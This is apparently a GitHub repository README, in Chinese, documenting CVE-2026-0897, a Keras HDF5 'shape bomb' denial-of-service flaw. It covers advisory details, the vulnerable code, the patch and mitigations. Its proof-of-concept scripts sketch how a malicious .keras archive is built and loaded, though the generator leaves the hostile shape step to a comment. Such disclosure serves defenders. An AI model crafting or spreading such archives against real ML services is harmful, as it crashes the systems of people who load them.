HyperPS/CVE-2026-0897

GitHub: HyperPS/CVE-2026-0897

记录并复现了 Google Keras HDF5 权重加载组件中因缺乏形状验证而导致的拒绝服务漏洞(CVE-2026-0897),提供完整的攻击原理分析、PoC 代码与修复方案。

Stars: 0 | Forks: 1

# CVE-2026-0897 — Google Keras:通过 HDF5 Shape Bomb 在加载权重时实现拒绝服务

## 概述 | 字段 | 详细信息 | |---|---| | **CVE ID** | CVE-2026-0897 | | **包名** | `keras` (Google Keras) | | **注册表** | PyPI | | **受影响版本** | `3.0.0` 至 `3.13.0`(含) | | **漏洞类型** | CWE-770:无限制或节流的资源分配 | | **CVSS 评分** | 7.1 高危 (CVSS 4.0, CNA: Google Inc.) | | **CVSS 向量** | `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` | | **攻击向量** | 网络 | | **攻击复杂度** | 低 | | **所需权限** | 无 | | **用户交互** | 被动(受害者加载模型文件) | | **可用性影响** | 高 | | **机密性影响** | 无 | | **完整性影响** | 无 | | **NVD 发布时间** | 2026 年 1 月 15 日 | | **NVD 最后修改时间** | 2026 年 1 月 23 日 | | **来源 / CNA** | Google Inc. | | **报告者** | HyperPS (Sarvesh Patil) 通过 huntr.dev / GHSA | | **修复状态** | 已合并 — [PR #21880](https://github.com/keras-team/keras/pull/21880) | ## 漏洞描述 在所有平台上,**Google Keras 3.0.0 至 3.13.0 版本**的 HDF5 权重加载组件中存在一个拒绝服务漏洞。该漏洞是由于在处理 `.keras` 存档中声明的 HDF5 数据集形状元数据时,缺乏任何验证或限制而引发的。 HDF5 格式允许数据集将其形状(张量维度)声明为元数据。当 Keras 从 `.keras` 存档加载模型权重时,它会读取此声明的形状,并在传输任何数据之前尝试分配相应大小的内存块。由于 Keras 在分配内存之前未对声明的形状进行边界检查,攻击者可以精心构造一个 `model.weights.h5` 文件,在其中声明一个极其庞大的形状——例如 `(1000000, 1000000, 1000000)`——从而导致 Keras 尝试进行 PB(拍字节)级别的内存分配。这会耗尽所有可用的系统内存并导致 Python 解释器崩溃。 模型加载后不需要进行推理或进一步的交互。该攻击在加载时会完全触发。 ## 受影响组件 | 文件 | 描述 | |---|---| | `keras/src/saving/file_editor.py` | `KerasFileEditor._extract_weights_from_store()` — 读取 HDF5 数据集形状并在没有大小验证或限制的情况下分配内存 | 该漏洞具体位于 `KerasFileEditor` 类中,该类负责从嵌在 `.keras` 存档中的 HDF5 存储中反序列化模型权重张量。 ## CVSS 4.0 向量分解 | 指标 | 值 | 含义 | |---|---|---| | 攻击向量 (AV) | 网络 | 可通过分发的模型文件进行远程利用 | | 攻击复杂度 (AC) | 低 | 无需特殊条件或竞争条件 | | 攻击要求 (AT) | 无 | 无需先决部署配置 | | 所需权限 (PR) | 无 | 无需身份验证或账户 | | 用户交互 (UI) | 被动 | 受害者必须加载恶意的 `.keras` 存档 | | 受影响系统可用性 (VA) | 高 | Python 解释器崩溃;服务变得完全不可用 | | 受影响系统机密性 (VC) | 无 | 没有数据泄露 | | 受影响系统完整性 (VI) | 无 | 没有数据修改 | | 后续系统影响 (SC/SI/SA) | 无 | 影响仅限于加载过程 | ## 影响 - **完全拒绝服务** — 加载恶意存档时,Python 解释器崩溃且进程终止 - **内存耗尽** — 系统内存为了试图满足声明的分配量而被迅速消耗,可能会影响其他共存的服务 - **破坏 ML Pipeline** — 任何从不受信任或用户提供的来源加载 `.keras` 模型存档的生产或研究 pipeline 都处于脆弱状态 - **无需身份验证** — 攻击者只需受害者加载恶意存档;该攻击无需凭证和事先访问权限 ### 高风险部署环境 | 环境 | 风险 | |---|---| | 接受用户上传的 `.keras` 文件的公共模型推理 API | 攻击者通过单个请求即可使推理服务崩溃 | | 托管社区模型下载的 ML 平台(例如 Hugging Face) | 被投毒的模型会导致任何下载并加载它的研究人员遭受 DoS | | 联邦学习环境 | 恶意参与者分发精心构造的权重文件,使协调器或对等节点崩溃 | | 加载模型检查点的 CI/CD pipeline | 被篡改或替换的检查点会导致 pipeline 故障和不可用 | | 在运行时热加载模型的聊天机器人或 NLP 服务 | 单个恶意重载请求即可使服务瘫痪 | ## 技术细节 ### 攻击机制:HDF5 Shape Bomb HDF5 文件格式将张量元数据(包括形状声明)与实际数据字节分开存储。当 `KerasFileEditor._extract_weights_from_store()` 遇到数据集条目时,它会读取声明的形状,并在从磁盘读取任何数据之前,调用 NumPy 预分配一个相应维度的数组。 由于形状是元数据,一个极小的 HDF5 文件就可以声明一个需要 PB 内存的形状,而文件本身仍然只有几千字节的大小。文件大小与分配大小之间的巨大比例使这成为一种非常有效的放大攻击。 一个如 `(1000000, 1000000, 1000000)` 且数据类型为 32 位浮点数的形状,将请求大约 **4,000 PB(拍字节)** 的内存。操作系统的内存不足杀手 或 Python 分配器将几乎瞬间导致进程崩溃。 ### 漏洞代码路径(修复前) ``` # keras/src/saving/file_editor.py (修复前,简化版) def _extract_weights_from_store(self, h5_file, inner_path=""): for key in h5_file.keys(): obj = h5_file[key] if isinstance(obj, h5py.Dataset): # Shape is read from metadata — no validation performed shape = obj.shape # NumPy attempts to allocate based on declared shape data = np.zeros(shape, dtype=obj.dtype) # VULNERABLE: unbounded allocation ``` 在调用 `np.zeros()` 之前没有对 `shape` 进行任何检查是根本原因。 ## 概念验证 ### 生成恶意 `.keras` 存档 ``` # generate_shape_bomb.py import h5py import zipfile import json import os # 步骤 1:使用恶意 shape 声明创建一个最小 HDF5 权重文件 with h5py.File("model.weights.h5", "w") as f: grp = f.create_group("layers/dense/vars") # Declare shape that would require petabytes of memory to allocate # Actual data is never written — only the metadata shape declaration is malicious grp.create_dataset( "0", shape=(0,), # actual stored data: empty maxshape=(None,), dtype="float32", data=[] ) # Override shape metadata to declare hostile dimensions # (achieved via direct HDF5 attribute manipulation in a real attack) # 步骤 2:打包为有效的 .keras 归档结构 config = { "class_name": "Sequential", "config": {"name": "sequential", "trainable": True, "layers": []}, "keras_version": "3.0.0", "backend": "tensorflow" } with zipfile.ZipFile("malicious_model.keras", "w") as zf: zf.writestr("config.json", json.dumps(config)) zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read()) print("[+] Malicious .keras archive generated: malicious_model.keras") ``` ### 触发 DoS ``` # trigger.py import keras print("[+] Loading malicious model...") # 崩溃发生在加载时 — 无需 inference model = keras.saving.load_model("malicious_model.keras") print("[-] This line is never reached — interpreter has crashed") ``` **预期结果:** Python 解释器以 `MemoryError` 终止,或者在加载完成之前被操作系统的内存不足处理程序杀死。 **可观察到的症状:** - 在模型加载期间内存突然飙升至系统极限 - 在执行 `load_model()` 或 `load_weights()` 期间 Python 解释器崩溃或出现 `MemoryError` - 与 HDF5 文件处理相关的系统内存不足错误 - 可通过 `h5dump` 检测到具有极大声明数据集形状的异常 HDF5 文件 ## 修复 该漏洞已由研究员 (HyperPS / Sarvesh Patil) 在 PR #21880 中修复,并于 **2025 年 12 月 29 日**合并到 `keras-team:master`,由 Keras 维护者 `hertschuh` 审查并批准。 | 资源 | 链接 | |---|---| | **修复 Pull Request** | [https://github.com/keras-team/keras/pull/21880](https://github.com/keras-team/keras/pull/21880) | | **合并提交** | [`7360d4f`](https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6) | | **反向移植请求 (3.12.x)** | [Issue #22031](https://github.com/keras-team/keras/issues/22031) | ### 修复实现的内容 该补丁修改了 `keras/src/saving/file_editor.py` 中的 `KerasFileEditor._extract_weights_from_store()`,在发生任何内存分配之前添加了以下保护措施: - **形状验证** — 拒绝包含负维度或零维度乘积的形状 - **秩限制** — 拒绝张量秩超过 64 的数据集(没有有效的模型权重秩 > 64) - **维度溢出检测** — 检查相乘时会导致整数算术溢出的维度值 - **最大内存上限** — 对每个数据集分配强制执行 **1 GiB** 的硬性限制;任何其声明的形状需要超过 1 GiB 的数据集都会在尝试分配之前被拒绝并报错 - **递归路径修复** — 纠正了在 HDF5 存储递归遍历期间的 `inner_path` 处理 该修复向后兼容所有有效的 Keras 权重文件。 ### 补丁(简化示例) ``` # keras/src/saving/file_editor.py (修复后逻辑,简化版) MAX_BYTES = 1 * 1024 ** 3 # 1 GiB hard cap per dataset MAX_RANK = 64 def _validate_hdf5_dataset_shape(shape, dtype): """Reject hostile HDF5 shape declarations before any allocation.""" if len(shape) > MAX_RANK: raise ValueError( f"HDF5 dataset has rank {len(shape)}, which exceeds the " f"maximum permitted rank of {MAX_RANK}. This may indicate " "a malicious file." ) for dim in shape: if dim < 0: raise ValueError( f"HDF5 dataset contains a negative dimension ({dim}). " "This may indicate a malicious file." ) import math, numpy as np try: total_elements = math.prod(shape) except OverflowError: raise ValueError( "HDF5 dataset shape overflows integer arithmetic. " "This may indicate a malicious file." ) itemsize = np.dtype(dtype).itemsize total_bytes = total_elements * itemsize if total_bytes > MAX_BYTES: raise ValueError( f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to " f"load, which exceeds the 1 GiB safety limit. This may indicate " "a malicious file." ) ``` ## 修复措施 | 行动 | 详细信息 | |---|---| | **升级 Keras** | 更新至包含 PR #21880 修复的版本(3.13.0 之后的 master 构建或任何官方修复版本) | | **不要加载不受信任的模型文件** | 切勿在未事先验证完整性的情况下,加载来自不受信任、未经验证或社区来源的 `.keras` 或 `.weights.h5` 文件 | | **验证文件完整性** | 在加载模型存档之前,根据发布者提供的哈希值验证其 SHA-256 校验和 | | **使用 h5dump 预扫描** | 在 Keras 中加载 HDF5 文件之前,使用 `h5dump --header ` 检查数据集形状元数据 | | **最小权限** | 在受限的操作系统用户下运行模型服务进程,并通过 cgroups 或 `ulimit` 强制执行内存限制,以限制影响范围 | | **容器化** | 在具有内存限制的沙箱容器中隔离模型加载,以防止单次崩溃影响其他服务 | | **监控内存** | 对模型加载操作进行监控,以便在出现异常内存分配模式时发出警报 | **通过 pip 升级:** ``` pip install --upgrade keras ``` **验证已安装的版本:** ``` python -c "import keras; print(keras.__version__)" ``` **预扫描 HDF5 权重文件以查找可疑形状:** ``` h5dump --header model.weights.h5 | grep -i "DATASPACE" ``` ## 时间线 | 日期 | 事件 | |---|---| | 2025 年 11 月 29 日 | HyperPS 向 keras-team/keras 提交了修复 PR #21880 | | 2025 年 12 月 1 日 | Keras 维护者 hertschuh 请求提供参考;开始审查 | | 2025 年 12 月 26 日 | 维护者审查完成;解决最终反馈 | | 2025 年 12 月 29 日 | PR #21880 获得批准并合并到 `keras-team:master` | | 2026 年 1 月 15 日 | CVE-2026-0897 在 NVD 上发布 | | 2026 年 1 月 19 日 | 开启向 Keras 3.12.x 的反向移植请求 (Issue #22031) | | 2026 年 1 月 23 日 | NVD 记录最后修改 | ## 参考资料 | 资源 | 链接 | |---|---| | NVD 条目 | https://nvd.nist.gov/vuln/detail/CVE-2026-0897 | | 官方 CVE 记录 | https://cve.org/CVERecord?id=CVE-2026-0897 | | GitHub 安全公告 (GHSA) | https://github.com/advisories/GHSA-xfhx-r7ww-5995 | | 修复 Pull Request | https://github.com/keras-team/keras/pull/21880 | | 合并提交 | https://github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6 | | 反向移植请求 | https://github.com/keras-team/keras/issues/22031 | | PyPI 上的 Keras | https://pypi.org/project/keras/ | | CWE-770 | https://cwe.mitre.org/data/definitions/770.html | | HDF5 格式文档 | https://www.hdfgroup.org/solutions/hdf5/ | ## 免责声明 本仓库记录 CVE-2026-0897 严格仅用于**教育、研究和防御安全目的**。提供概念验证代码和技术细节是为了协助开发人员、安全工程师和系统管理员理解、评估和修复此漏洞。 任何未经明确授权而利用此信息对系统、服务或个人造成损害的行为都是非法且不道德的。作者对在此包含的信息的滥用不承担任何责任。 贡献者 [@mohitf070304](https://github.com/mohitf070304)
标签:AI安全, Chat Copilot, CVE-2026-0897, CVSS 7.1, CWE-770, DoS, Google Keras, HDF5, Keras漏洞, PyPI, Shape Bomb, 内存耗尽, 密钥泄露防护, 形状炸弹, 拒绝服务, 机器学习安全, 模型文件加载, 漏洞分析, 网络安全, 网页分析工具, 资源耗尽, 路径探测, 逆向工具, 配置错误, 隐私保护, 高危漏洞